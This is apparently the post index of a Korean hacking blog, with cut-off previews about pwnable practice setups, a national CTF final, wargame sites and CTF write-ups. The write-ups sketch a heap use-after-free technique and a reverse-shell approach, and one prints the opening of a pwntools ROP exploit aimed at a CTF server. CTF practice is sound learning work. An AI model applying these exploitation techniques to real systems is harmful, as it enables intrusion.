목록전체 글 (103)
Sechack
처음 pwnable을 공부하시는 분들이면 대부분 vmware를 이용해서 우분투 환경을 세팅할것이다. 하지만 vmware특성상 무겁기도 하고 단순한 실습을 넘어서 CTF를 하실 분들이라면 pwnable특성상 ubuntu버전에 따라서 exploit방법이 달라지기 때문에(heap exploit의 경우는 glibc버전 차이가 매우 심함) vmware에 자주 사용되는 ubuntu환경들을 전부 구축해둬야 하고 새로운 환경이 나오면 또 그걸 구축하는데도 매우 오래걸린다. vmware에 ubuntu라는 OS만 설치하는데도 몇십분 이상이 걸리고 설치하고 pwnable환경을 세팅해주는데도 몇십분 이상이 걸린다. 또한 용량도 많이 차지한다. 저도 처음에는 컴퓨터가 windows 8.1이라서 Docker Desktop도 안깔..
mic check 디스코드 채널에 가면 플래그가 있습니다. Pocketmon 메뉴를 보면 평범한 힙 문제이다. 할당받을때 chunk를 2개 할당한다. 핵심 취약점은 free할때 터지는데 인덱스가 16일때는 NOOOOOOOOOOOOOOOOOOOOOO를 출력하고 끝낸다. 0으로 초기화해주지 않아서 16번 인덱스에서 uaf가 터진다. 우리는 free된 chunk에 맘대로 접근할 수 있으므로 fd를 맘대로 바꿀 수 있고 결과적으로 aaw를 할 수 있다. libc leak은 여기 남아있는 주소를 이용해서 0x7f를 size로 놓고 chunk할당하면 된다. 프로그램에서 0x30크기와 0x70크기의 chunk를 사용하고있는데 딱 맞다. 그리고 calloc이어도 0x7f가 size로 들어가게 되면 IS_MMAPPED비..
이번엔 예선 3등으로 대회 본선 갔는데 본선이 대구 엑스코에서 진행되서 학교에 체험학습 내고 전날에 학교 끝나자마자 KTX타고 대구가서 근처 호텔에서 같은팀 형들이랑 자고 바로 대회하러 갔다. 엑스코 건물이 생각보다 되게 크고 삐까뻔적해서 생각보다 큰 행사라는것을 실감했다. 가운데 말고 오른쪽이 엑스코 건물이다 외관만 봐도 굉장히 크고 아름다운 건물이다. 또 다른층에서는 사이버보안 컨퍼런스가 진행되었다. 대회하느라 컨퍼런스는 포스터만 보고 안가봐서 어땠을지는 모르겠다. 컨퍼런스도 재밌었을것같다. 사진에서 보이다시피 건물 내부도 굉장히 크다. 현장체험학습 간 기분이었다. 본선 장소에 입장하자마자 기념품 하나를 받았는데 열어보니까 국정원 시계였다. NIS글자가 매우 마음에 든다. 사진은 빛 반사때문에 금색처..
이번에는 워게임을 들고왔다. 옛날 워겜부터 최신에 나온 워겜까지 아는걸 전부 적어보려고 한다. 가장 끌리는 사이트 들어가서 풀어보시는것도 좋습니다. https://dreamhack.io (드림핵은 워게임 사이트라기보단 종합적인 해킹 공부 플랫폼이라 보는게 맞다. 재밌는 문제도 많이있고 양질의 강좌도 많이 있다.) https://h4ckingga.me (사실 이거 홍보하려고 글썼다. 제가 몸담고있는 팀인 TeamH4C에서 이번에 새로 런칭한 워게임인데 Project Manager로써 매우 뿌듯하다. 문제도 꾸준히 추가할 예정이니 많은 이용 부탁드립니다.) https://pwnable.tw (재미있는 포너블 문제가 많다. 되게 창의적으로 많이 생각하고 삽질해야 풀리는 문제가 tw만의 특징인것 같다. 포너블 ..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
기타 카테고리에 넣어야할지 My Story카테고리에 넣어야할지 잘 모르겠는데 내 진로와 관련된 내용이라 My Story에 넣었다. 나는 지금 현재 선린인터넷 고등학교를 목표로 하고 있다. 디지털미디어고등학교에 기숙사가 있어서 더 편할거라는 생각에 처음에는 디미고를 가려고 했으나 특별전형도 내신을 너무많이 봐서 가능성이 0%라는 판단이 들어서 다행히도 이번년도에 미래인재 전형에서 내신을 안보는 디미고와 양대산맥을 이루는 보안계에서 유명한 선린고를 준비하고 있다. 2시간 등교가 힘들것같긴 하지만 5시 반쯤에 일어나서 새벽운동 하는셈 치고 등교하면 된다. 적응하면 된다. 내 체력은 그렇게 약하지 않다. 보통 특성화고를 간다고 하면 주변의 시선이 좋지 않다. 보안을 공부하는 사람이면 몰라도 컴퓨터에 별다른 관심..
이번엔 민욱이형이랑 같이 TeamH4C CTF팀이 아닌 다른 CTF팀으로 참여했다. 평일에 하는거여서 시간이 약간 부족한감이 있었는데 포너블 올클도 하고 나름대로 만족스러웠다. 최종 결과는 19등이다. 버스탔다. ㅋㅋ Syno계정은 지용님이랑 민욱이형이 같이쓴 계정이다. 아무튼 쌉캐리.. 그럼 write up시작!! Name_Server 걍 bof터진다. rop하면된다. from pwn import * r = remote("3.97.113.25", 9001) e = ELF("./name-serv") pop_rdi = 0x4006d3 puts_plt = e.plt["puts"] puts_got = e.got["puts"] payload = b"a"*0x28 payload += p64(pop_rdi) pay..
갠적으로 재미있었다. 그냥 bof이다. 바이너리는 static이다. 그리고 seccomp가 걸려있다. openat을 필터링하지 않으므로 openat system call을 이용해서 orw해서 플래그 읽어주면 된다. It's time to revenge ! flag is in /home/fbi/flag.txt Note : There is no stdout/stderr in the server , can you manage it this year? nc 40.71.72.198 1236 Author : haflout 문제 설명이다. 서버에는 stdout, stderr가 없다고 한다. 실제로 write를 부르는 쉘코드를 작성해보고 데이터를 출력해보면 로컬에서는 잘 출력되지만 서버로 보내보면 아무것도 출력되지 않..
후... 거의 이틀 걸린것같다. 되게 빡세고 힘들고 재밌고 신기한 문제였다. 일단 close로 stdin, stdout, stderr다 닫아버려서 execve("/bin/sh", 0, 0)을 해도 무용지물이다. 리버스 쉘 따야한다. 다행히 바이너리는 static이어서 가젯은 많았고 가젯 잘 조합해서 _stack_prot덮고 _dl_make_stack_executable 호출해서 스택에 rwx박은다음 리버스쉘 때려박으면 되는 문제이다. 가장 힘들었던건 100byte limit이었는데 쉘코드를 줄이고 rop chain쪽에서 chain길이 안늘어나게끔 절묘하게 레지스터 세팅도 해줘서 쉘코드 몇바이트씩 줄어들게 하고 별짓 다해도 rop chain이랑 합하면 107byte이하로 못줄이겠어서 그냥 서버에 소켓으로 ..